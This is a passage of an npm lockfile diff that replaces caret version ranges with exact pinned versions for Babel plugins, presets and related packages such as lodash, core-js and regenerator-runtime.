"6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-optimise-call-expression": { @@ -1171,8 +1171,8 @@ "integrity": "sha1-96E0J7qfc/j0+pk8VKl4gtEkQlc=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-regex": { @@ -1181,9 +1181,9 @@ "integrity": "sha1-024i+rEAjXnYhkjjIRaGgShFbOg=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1", - "lodash": "^4.2.0" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0", + "lodash": "4.17.10" } }, "babel-helper-remap-async-to-generator": { @@ -1192,11 +1192,11 @@ "integrity": "sha1-XsWBgnrXI/7N04HxySg5BnbkVRs=", "dev": true, "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-function-name": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helper-replace-supers": { @@ -1205,12 +1205,12 @@ "integrity": "sha1-v22/5Dk40XNpohPKiov3S2qQqxo=", "dev": true, "requires": { - "babel-helper-optimise-call-expression": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-optimise-call-expression": "6.24.1", + "babel-messages": "6.23.0", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-helpers": { @@ -1219,8 +1219,8 @@ "integrity": "sha1-NHHenK7DiOXIUOWX5Yom3fN2ArI=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-loader": { @@ -1229,9 +1229,9 @@ "integrity": "sha512-iCHfbieL5d1LfOQeeVJEUyD9rTwBcP/fcEbRCfempxTDuqrKpu0AZjLAQHEQa3Yqyj9ORKe2iHfoj4rHLf7xpw==", "dev": true, "requires": { - "find-cache-dir": "^1.0.0", - "loader-utils": "^1.0.2", - "mkdirp": "^0.5.1" + "find-cache-dir": "1.0.0", + "loader-utils": "1.1.0", + "mkdirp": "0.5.1" }, "dependencies": { "loader-utils": { @@ -1240,9 +1240,9 @@ "integrity": "sha1-yYrvSIvM7aL/teLeZG1qdUQp9c0=", "dev": true, "requires": { - "big.js": "^3.1.3", - "emojis-list": "^2.0.0", - "json5": "^0.5.0" + "big.js": "3.1.3", + "emojis-list": "2.1.0", + "json5": "0.5.1" } } } @@ -1253,7 +1253,7 @@ "integrity": "sha1-8830cDhYA1sqKVHG7F7fbGLyYw4=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-check-es2015-constants": { @@ -1262,7 +1262,7 @@ "integrity": "sha1-NRV7EBQm/S/9PaP3XH0ekYNbv4o=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-syntax-async-functions": { @@ -1355,9 +1355,9 @@ "integrity": "sha1-8FiQAUX9PpkHpt3yjaWfIVJYpds=", "dev": true, "requires": { - "babel-helper-remap-async-to-generator": "^6.24.1", - "babel-plugin-syntax-async-generators": "^6.5.0", - "babel-runtime": "^6.22.0" + "babel-helper-remap-async-to-generator": "6.24.1", + "babel-plugin-syntax-async-generators": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-async-to-generator": { @@ -1366,9 +1366,9 @@ "integrity": "sha1-ZTbjeK/2yx1VF6wOQOs+n8jQh2E=", "dev": true, "requires": { - "babel-helper-remap-async-to-generator": "^6.24.1", - "babel-plugin-syntax-async-functions": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-helper-remap-async-to-generator": "6.24.1", + "babel-plugin-syntax-async-functions": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-class-constructor-call": { @@ -1377,9 +1377,9 @@ "integrity": "sha1-gNwoVQWsBn3LjWxl4vbxGrd2Xvk=", "dev": true, "requires": { - "babel-plugin-syntax-class-constructor-call": "^6.18.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-plugin-syntax-class-constructor-call": "6.18.0", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-class-properties": { @@ -1388,10 +1388,10 @@ "integrity": "sha1-anl2PqYdM9NvN7YRqp3vgagbRqw=", "dev": true, "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-plugin-syntax-class-properties": "^6.8.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-helper-function-name": "6.24.1", + "babel-plugin-syntax-class-properties": "6.13.0", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-decorators": { @@ -1400,11 +1400,11 @@ "integrity": "sha1-eIAT2PjGtSIr33s0Q5Df13Vp4k0=", "dev": true, "requires": { - "babel-helper-explode-class": "^6.24.1", - "babel-plugin-syntax-decorators": "^6.13.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-explode-class": "6.24.1", + "babel-plugin-syntax-decorators": "6.13.0", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-do-expressions": { @@ -1413,8 +1413,8 @@ "integrity": "sha1-KMyvkoEtlJws0SgfaQyP3EaK6bs=", "dev": true, "requires": { - "babel-plugin-syntax-do-expressions": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-do-expressions": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-arrow-functions": { @@ -1423,7 +1423,7 @@ "integrity": "sha1-RSaSy3EdX3ncf4XkQM5BufJE0iE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-block-scoped-functions": { @@ -1432,7 +1432,7 @@ "integrity": "sha1-u8UbSflk1wy42OC5ToICRs46YUE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-block-scoping": { @@ -1441,11 +1441,11 @@ "integrity": "sha1-dsKV3DpHQbFmWt/TFnIV3P8ypXY=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1", - "lodash": "^4.2.0" + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0", + "lodash": "4.17.10" } }, "babel-plugin-transform-es2015-classes": { @@ -1454,15 +1454,15 @@ "integrity": "sha1-WkxYpQyclGHlZLSyo7+ryXolhNs=", "dev": true, "requires": { - "babel-helper-define-map": "^6.24.1", - "babel-helper-function-name": "^6.24.1", - "babel-helper-optimise-call-expression": "^6.24.1", - "babel-helper-replace-supers": "^6.24.1", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-define-map": "6.24.1", + "babel-helper-function-name": "6.24.1", + "babel-helper-optimise-call-expression": "6.24.1", + "babel-helper-replace-supers": "6.24.1", + "babel-messages": "6.23.0", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-computed-properties": { @@ -1471,8 +1471,8 @@ "integrity": "sha1-b+Ko0WiV1WNPTNmZttNICjCBWbM=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-es2015-destructuring": { @@ -1481,7 +1481,7 @@ "integrity": "sha1-mXux8auWf2gtKwh2/jWNYOdlxW0=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-duplicate-keys": { @@ -1490,8 +1490,8 @@ "integrity": "sha1-c+s9MQypaePvnskcU3QabxV2Qj4=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-for-of": { @@ -1500,7 +1500,7 @@ "integrity": "sha1-9HyVsrYT3x0+zC/bdXNiPHUkhpE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-function-name": { @@ -1509,9 +1509,9 @@ "integrity": "sha1-g0yJhTvDaxrw86TF26qU/Y6sqos=", "dev": true, "requires": { - "babel-helper-function-name": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-helper-function-name": "6.24.1", + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-literals": { @@ -1520,7 +1520,7 @@ "integrity": "sha1-T1SgLWzWbPkVKAAZox0xklN3yi4=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-modules-amd": { @@ -1529,9 +1529,9 @@ "integrity": "sha1-Oz5UAXI5hC1tGcMBHEvS8AoA0VQ=", "dev": true, "requires": { - "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-plugin-transform-es2015-modules-commonjs": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-es2015-modules-commonjs": { @@ -1540,10 +1540,10 @@ "integrity": "sha1-0+MQtA72ZKNmIiAAl8bUQCmPK/4=", "dev": true, "requires": { - "babel-plugin-transform-strict-mode": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-types": "^6.24.1" + "babel-plugin-transform-strict-mode": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-modules-systemjs": { @@ -1552,9 +1552,9 @@ "integrity": "sha1-/4mhQrkRmpBhlfXxBuzzBdlAfSM=", "dev": true, "requires": { - "babel-helper-hoist-variables": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-helper-hoist-variables": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-es2015-modules-umd": { @@ -1563,9 +1563,9 @@ "integrity": "sha1-rJl+YoXNGO1hdq22B9YCNErThGg=", "dev": true, "requires": { - "babel-plugin-transform-es2015-modules-amd": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1" + "babel-plugin-transform-es2015-modules-amd": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0" } }, "babel-plugin-transform-es2015-object-super": { @@ -1574,8 +1574,8 @@ "integrity": "sha1-JM72muIcuDp/hgPa0CH1cusnj40=", "dev": true, "requires": { - "babel-helper-replace-supers": "^6.24.1", - "babel-runtime": "^6.22.0" + "babel-helper-replace-supers": "6.24.1", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-parameters": { @@ -1584,12 +1584,12 @@ "integrity": "sha1-V6w1GrScrxSpfNE7CfZv3wpiXys=", "dev": true, "requires": { - "babel-helper-call-delegate": "^6.24.1", - "babel-helper-get-function-arity": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-template": "^6.24.1", - "babel-traverse": "^6.24.1", - "babel-types": "^6.24.1" + "babel-helper-call-delegate": "6.24.1", + "babel-helper-get-function-arity": "6.24.1", + "babel-runtime": "6.25.0", + "babel-template": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-shorthand-properties": { @@ -1598,8 +1598,8 @@ "integrity": "sha1-JPh11nIch2YbvZmkYi5R8U3jiqA=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-spread": { @@ -1608,7 +1608,7 @@ "integrity": "sha1-1taKmfia7cRTbIGlQujdnxdG+NE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-sticky-regex": { @@ -1617,9 +1617,9 @@ "integrity": "sha1-AMHNsaynERLN8M9hJsLta0V8zbw=", "dev": true, "requires": { - "babel-helper-regex": "^6.24.1", - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-helper-regex": "6.24.1", + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-plugin-transform-es2015-template-literals": { @@ -1628,7 +1628,7 @@ "integrity": "sha1-qEs0UPfp+PH2g51taH2oS7EjbY0=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-typeof-symbol": { @@ -1637,7 +1637,7 @@ "integrity": "sha1-3sCfHN3/lLUqxz1QXITfWdzOs3I=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-es2015-unicode-regex": { @@ -1646,9 +1646,9 @@ "integrity": "sha1-04sS9C6nMj9yk4fxinxa4frrNek=", "dev": true, "requires": { - "babel-helper-regex": "^6.24.1", - "babel-runtime": "^6.22.0", - "regexpu-core": "^2.0.0" + "babel-helper-regex": "6.24.1", + "babel-runtime": "6.25.0", + "regexpu-core": "2.0.0" } }, "babel-plugin-transform-exponentiation-operator": { @@ -1657,9 +1657,9 @@ "integrity": "sha1-KrDJx/MJj6SJB3cruBP+QejeOg4=", "dev": true, "requires": { - "babel-helper-builder-binary-assignment-operator-visitor": "^6.24.1", - "babel-plugin-syntax-exponentiation-operator": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-helper-builder-binary-assignment-operator-visitor": "6.24.1", + "babel-plugin-syntax-exponentiation-operator": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-export-extensions": { @@ -1668,8 +1668,8 @@ "integrity": "sha1-U3OLR+deghhYnuqUbLvTkQm75lM=", "dev": true, "requires": { - "babel-plugin-syntax-export-extensions": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-export-extensions": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-flow-strip-types": { @@ -1678,8 +1678,8 @@ "integrity": "sha1-hMtnKTXUNxT9wyvOhFaNh0Qc988=", "dev": true, "requires": { - "babel-plugin-syntax-flow": "^6.18.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-flow": "6.18.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-function-bind": { @@ -1688,8 +1688,8 @@ "integrity": "sha1-xvuOlqwpajELjPjqQBRiQH3fapc=", "dev": true, "requires": { - "babel-plugin-syntax-function-bind": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-function-bind": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-object-rest-spread": { @@ -1698,8 +1698,8 @@ "integrity": "sha1-h11ryb52HFiirj/u5dxIldjH+SE=", "dev": true, "requires": { - "babel-plugin-syntax-object-rest-spread": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-object-rest-spread": "6.13.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-react-display-name": { @@ -1708,7 +1708,7 @@ "integrity": "sha1-Z+K/Hx6ck6sI25Z5LgU5K/LMKNE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0" + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-react-jsx": { @@ -1717,9 +1717,9 @@ "integrity": "sha1-hAoCjn30YN/DotKfDA2R9jduZqM=", "dev": true, "requires": { - "babel-helper-builder-react-jsx": "^6.24.1", - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-helper-builder-react-jsx": "6.26.0", + "babel-plugin-syntax-jsx": "6.18.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-react-jsx-self": { @@ -1728,8 +1728,8 @@ "integrity": "sha1-322AqdomEqEh5t3XVYvL7PBuY24=", "dev": true, "requires": { - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-jsx": "6.18.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-react-jsx-source": { @@ -1738,8 +1738,8 @@ "integrity": "sha1-ZqwSFT9c0tF7PBkmj0vwGX9E7NY=", "dev": true, "requires": { - "babel-plugin-syntax-jsx": "^6.8.0", - "babel-runtime": "^6.22.0" + "babel-plugin-syntax-jsx": "6.18.0", + "babel-runtime": "6.25.0" } }, "babel-plugin-transform-regenerator": { @@ -1757,8 +1757,8 @@ "integrity": "sha1-1fr3qleKZbvlkc9e2uBKDGcCB1g=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-types": "^6.24.1" + "babel-runtime": "6.25.0", + "babel-types": "6.25.0" } }, "babel-polyfill": { @@ -1767,9 +1767,9 @@ "integrity": "sha1-N5k3q8Z9eJWXCtxiHyhM2WbPIVM=", "dev": true, "requires": { - "babel-runtime": "^6.26.0", - "core-js": "^2.5.0", - "regenerator-runtime": "^0.10.5" + "babel-runtime": "6.26.0", + "core-js": "2.5.7", + "regenerator-runtime": "0.10.5" }, "dependencies": { "babel-runtime": { @@ -1778,8 +1778,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.0" }, "dependencies": { "regenerator-runtime": { @@ -1798,36 +1798,36 @@ "integrity": "sha512-9OR2afuKDneX2/q2EurSftUYM0xGu4O2D9adAhVfADDhrYDaxXV0rBbevVYoY9n6nyX1PmQW/0jtpJvUNr9CHg==", "dev": true, "requires": { - "babel-plugin-check-es2015-constants": "^6.22.0", - "babel-plugin-syntax-trailing-function-commas": "^6.22.0", - "babel-plugin-transform-async-to-generator": "^6.22.0", - "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoping": "^6.23.0", - "babel-plugin-transform-es2015-classes": "^6.23.0", - "babel-plugin-transform-es2015-computed-properties": "^6.22.0", - "babel-plugin-transform-es2015-destructuring": "^6.23.0", - "babel-plugin-transform-es2015-duplicate-keys": "^6.22.0", - "babel-plugin-transform-es2015-for-of": "^6.23.0", - "babel-plugin-transform-es2015-function-name": "^6.22.0", - "babel-plugin-transform-es2015-literals": "^6.22.0", - "babel-plugin-transform-es2015-modules-amd": "^6.22.0", - "babel-plugin-transform-es2015-modules-commonjs": "^6.23.0", - "babel-plugin-transform-es2015-modules-systemjs": "^6.23.0", - "babel-plugin-transform-es2015-modules-umd": "^6.23.0", - "babel-plugin-transform-es2015-object-super": "^6.22.0", - "babel-plugin-transform-es2015-parameters": "^6.23.0", - "babel-plugin-transform-es2015-shorthand-properties": "^6.22.0", - "babel-plugin-transform-es2015-spread": "^6.22.0", - "babel-plugin-transform-es2015-sticky-regex": "^6.22.0", - "babel-plugin-transform-es2015-template-literals": "^6.22.0", - "babel-plugin-transform-es2015-typeof-symbol": "^6.23.0", - "babel-plugin-transform-es2015-unicode-regex": "^6.22.0", - "babel-plugin-transform-exponentiation-operator": "^6.22.0", - "babel-plugin-transform-regenerator": "^6.22.0", - "browserslist": "^3.2.6", - "invariant": "^2.2.2", - "semver": "^5.3.0" + "babel-plugin-check-es2015-constants": "6.22.0", + "babel-plugin-syntax-trailing-function-commas": "6.22.0", + "babel-plugin-transform-async-to-generator": "6.24.1", + "babel-plugin-transform-es2015-arrow-functions": "6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "6.22.0", + "babel-plugin-transform-es2015-block-scoping": "6.24.1", + "babel-plugin-transform-es2015-classes": "6.24.1", + "babel-plugin-transform-es2015-computed-properties": "6.24.1", + "babel-plugin-transform-es2015-destructuring": "6.23.0", + "babel-plugin-transform-es2015-duplicate-keys": "6.24.1", + "babel-plugin-transform-es2015-for-of": "6.23.0", + "babel-plugin-transform-es2015-function-name": "6.24.1", + "babel-plugin-transform-es2015-literals": "6.22.0", + "babel-plugin-transform-es2015-modules-amd": "6.24.1", + "babel-plugin-transform-es2015-modules-commonjs": "6.24.1", + "babel-plugin-transform-es2015-modules-systemjs": "6.24.1", + "babel-plugin-transform-es2015-modules-umd": "6.24.1", + "babel-plugin-transform-es2015-object-super": "6.24.1", + "babel-plugin-transform-es2015-parameters": "6.24.1", + "babel-plugin-transform-es2015-shorthand-properties": "6.24.1", + "babel-plugin-transform-es2015-spread": "6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "6.24.1", + "babel-plugin-transform-es2015-template-literals": "6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "6.23.0", + "babel-plugin-transform-es2015-unicode-regex": "6.24.1", + "babel-plugin-transform-exponentiation-operator": "6.24.1", + "babel-plugin-transform-regenerator": "6.24.1", + "browserslist": "3.2.8", + "invariant": "2.2.2", + "semver": "5.5.0" }, "dependencies": { "semver": { @@ -1844,30 +1844,30 @@ "integrity": "sha1-1EBQ1rwsn+6nAqrzjXJ6AhBTiTk=", "dev": true, "requires": { - "babel-plugin-check-es2015-constants": "^6.22.0", - "babel-plugin-transform-es2015-arrow-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoped-functions": "^6.22.0", - "babel-plugin-transform-es2015-block-scoping": "^6.24.1", - "babel-plugin-transform-es2015-classes": "^6.24.1", - "babel-plugin-transform-es2015-computed-properties": "^6.24.1", - "babel-plugin-transform-es2015-destructuring": "^6.22.0", - "babel-plugin-transform-es2015-duplicate-keys": "^6.24.1", - "babel-plugin-transform-es2015-for-of": "^6.22.0", - "babel-plugin-transform-es2015-function-name": "^6.24.1", - "babel-plugin-transform-es2015-literals": "^6.22.0", - "babel-plugin-transform-es2015-modules-amd": "^6.24.1", - "babel-plugin-transform-es2015-modules-commonjs": "^6.24.1", - "babel-plugin-transform-es2015-modules-systemjs": "^6.24.1", - "babel-plugin-transform-es2015-modules-umd": "^6.24.1", - "babel-plugin-transform-es2015-object-super": "^6.24.1", - "babel-plugin-transform-es2015-parameters": "^6.24.1", - "babel-plugin-transform-es2015-shorthand-properties": "^6.24.1", - "babel-plugin-transform-es2015-spread": "^6.22.0", - "babel-plugin-transform-es2015-sticky-regex": "^6.24.1", - "babel-plugin-transform-es2015-template-literals": "^6.22.0", - "babel-plugin-transform-es2015-typeof-symbol": "^6.22.0", - "babel-plugin-transform-es2015-unicode-regex": "^6.24.1", - "babel-plugin-transform-regenerator": "^6.24.1" + "babel-plugin-check-es2015-constants": "6.22.0", + "babel-plugin-transform-es2015-arrow-functions": "6.22.0", + "babel-plugin-transform-es2015-block-scoped-functions": "6.22.0", + "babel-plugin-transform-es2015-block-scoping": "6.24.1", + "babel-plugin-transform-es2015-classes": "6.24.1", + "babel-plugin-transform-es2015-computed-properties": "6.24.1", + "babel-plugin-transform-es2015-destructuring": "6.23.0", + "babel-plugin-transform-es2015-duplicate-keys": "6.24.1", + "babel-plugin-transform-es2015-for-of": "6.23.0", + "babel-plugin-transform-es2015-function-name": "6.24.1", + "babel-plugin-transform-es2015-literals": "6.22.0", + "babel-plugin-transform-es2015-modules-amd": "6.24.1", + "babel-plugin-transform-es2015-modules-commonjs": "6.24.1", + "babel-plugin-transform-es2015-modules-systemjs": "6.24.1", + "babel-plugin-transform-es2015-modules-umd": "6.24.1", + "babel-plugin-transform-es2015-object-super": "6.24.1", + "babel-plugin-transform-es2015-parameters": "6.24.1", + "babel-plugin-transform-es2015-shorthand-properties": "6.24.1", + "babel-plugin-transform-es2015-spread": "6.22.0", + "babel-plugin-transform-es2015-sticky-regex": "6.24.1", + "babel-plugin-transform-es2015-template-literals": "6.22.0", + "babel-plugin-transform-es2015-typeof-symbol": "6.23.0", + "babel-plugin-transform-es2015-unicode-regex": "6.24.1", + "babel-plugin-transform-regenerator": "6.24.1" } }, "babel-preset-flow": { @@ -1876,7 +1876,7 @@ "integrity": "sha1-5xIYiHCFrpoktb5Baa/7WZgWxJ0=", "dev": true, "requires": { - "babel-plugin-transform-flow-strip-types": "^6.22.0" + "babel-plugin-transform-flow-strip-types": "6.22.0" } }, "babel-preset-react": { @@ -1885,12 +1885,12 @@ "integrity": "sha1-umnfrqRfw+xjm2pOzqbhdwLJE4A=", "dev": true, "requires": { - "babel-plugin-syntax-jsx": "^6.3.13", - "babel-plugin-transform-react-display-name": "^6.23.0", - "babel-plugin-transform-react-jsx": "^6.24.1", - "babel-plugin-transform-react-jsx-self": "^6.22.0", - "babel-plugin-transform-react-jsx-source": "^6.22.0", - "babel-preset-flow": "^6.23.0" + "babel-plugin-syntax-jsx": "6.18.0", + "babel-plugin-transform-react-display-name": "6.25.0", + "babel-plugin-transform-react-jsx": "6.24.1", + "babel-plugin-transform-react-jsx-self": "6.22.0", + "babel-plugin-transform-react-jsx-source": "6.22.0", + "babel-preset-flow": "6.23.0" } }, "babel-preset-stage-0": { @@ -1899,9 +1899,9 @@ "integrity": "sha1-VkLRUEL5E4TX5a+LyIsduVsDnmo=", "dev": true, "requires": { - "babel-plugin-transform-do-expressions": "^6.22.0", - "babel-plugin-transform-function-bind": "^6.22.0", - "babel-preset-stage-1": "^6.24.1" + "babel-plugin-transform-do-expressions": "6.22.0", + "babel-plugin-transform-function-bind": "6.22.0", + "babel-preset-stage-1": "6.24.1" } }, "babel-preset-stage-1": { @@ -1910,9 +1910,9 @@ "integrity": "sha1-dpLNfc1oSZB+auSgqFWJz7niv7A=", "dev": true, "requires": { - "babel-plugin-transform-class-constructor-call": "^6.24.1", - "babel-plugin-transform-export-extensions": "^6.22.0", - "babel-preset-stage-2": "^6.24.1" + "babel-plugin-transform-class-constructor-call": "6.24.1", + "babel-plugin-transform-export-extensions": "6.22.0", + "babel-preset-stage-2": "6.24.1" } }, "babel-preset-stage-2": { @@ -1921,10 +1921,10 @@ "integrity": "sha1-2eKWD7PXEYfw5k7sYrwHdnIZvcE=", "dev": true, "requires": { - "babel-plugin-syntax-dynamic-import": "^6.18.0", - "babel-plugin-transform-class-properties": "^6.24.1", - "babel-plugin-transform-decorators": "^6.24.1", - "babel-preset-stage-3": "^6.24.1" + "babel-plugin-syntax-dynamic-import": "6.18.0", + "babel-plugin-transform-class-properties": "6.24.1", + "babel-plugin-transform-decorators": "6.24.1", + "babel-preset-stage-3": "6.24.1" } }, "babel-preset-stage-3": { @@ -1933,11 +1933,11 @@ "integrity": "sha1-g2raCp56f6N8sTj7kyb4eTSkg5U=", "dev": true, "requires": { - "babel-plugin-syntax-trailing-function-commas": "^6.22.0", - "babel-plugin-transform-async-generator-functions": "^6.24.1", - "babel-plugin-transform-async-to-generator": "^6.24.1", - "babel-plugin-transform-exponentiation-operator": "^6.24.1", - "babel-plugin-transform-object-rest-spread": "^6.22.0" + "babel-plugin-syntax-trailing-function-commas": "6.22.0", + "babel-plugin-transform-async-generator-functions": "6.24.1", + "babel-plugin-transform-async-to-generator": "6.24.1", + "babel-plugin-transform-exponentiation-operator": "6.24.1", + "babel-plugin-transform-object-rest-spread": "6.23.0" } }, "babel-register": { @@ -1946,13 +1946,13 @@ "integrity": "sha1-btAhFz4vy0htestFxgCahW9kcHE=", "dev": true, "requires": { - "babel-core": "^6.26.0", - "babel-runtime": "^6.26.0", - "core-js": "^2.5.0", - "home-or-tmp": "^2.0.0", - "lodash": "^4.17.4", - "mkdirp": "^0.5.1", - "source-map-support": "^0.4.15" + "babel-core": "6.26.3", + "babel-runtime": "6.26.0", + "core-js": "2.5.7", + "home-or-tmp": "2.0.0", + "lodash": "4.17.10", + "mkdirp": "0.5.1", + "source-map-support": "0.4.18" }, "dependencies": { "babel-runtime": { @@ -1961,8 +1961,8 @@ "integrity": "sha1-llxwWGaOgrVde/4E/yM3vItWR/4=", "dev": true, "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.11.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.11.1" } }, "regenerator-runtime": { @@ -1978,8 +1978,8 @@ "resolved": "https://registry.npmjs.org/babel-runtime/-/babel-runtime-6.25.0.tgz", "integrity": "sha1-M7mOql1IK7AajRqmtDetKwGuxBw=", "requires": { - "core-js": "^2.4.0", - "regenerator-runtime": "^0.10.0" + "core-js": "2.5.7", + "regenerator-runtime": "0.10.5" } }, "babel-template": { @@ -1988,11 +1988,11 @@ "integrity": "sha1-ZlJBFmt8KqTGGdceGSlpVSsQwHE=", "dev": true, "requires": { - "babel-runtime": "^6.22.0", - "babel-traverse": "^6.25.0", - "babel-types": "^6.25.0", - "babylon": "^6.17.2", - "lodash": "^4.2.0" + "babel-runtime": "6.25.0", + "babel-traverse": "6.25.0", + "babel-types": "6.25.0", + "babylon": "6.17.4", + "lodash": "4.17.10" } }, "babel-traverse": { @@ -2001,15 +2001,15 @@ "integrity": "sha1-IldJfi/NGbie3BPEyROB+VEklvE=", "dev": true, "requires": { - "babel-code-frame": "^6.22.0", - "babel-messages": "^6.23.0", - "babel-runtime": "^6.22.0", - "babel-types": "^6.25.0", - "babylon": "^6.17.2", - "debug": "^2.2.0", - "globals": "^9.0.0", - "invariant": "^2.2.0", - "lodash": 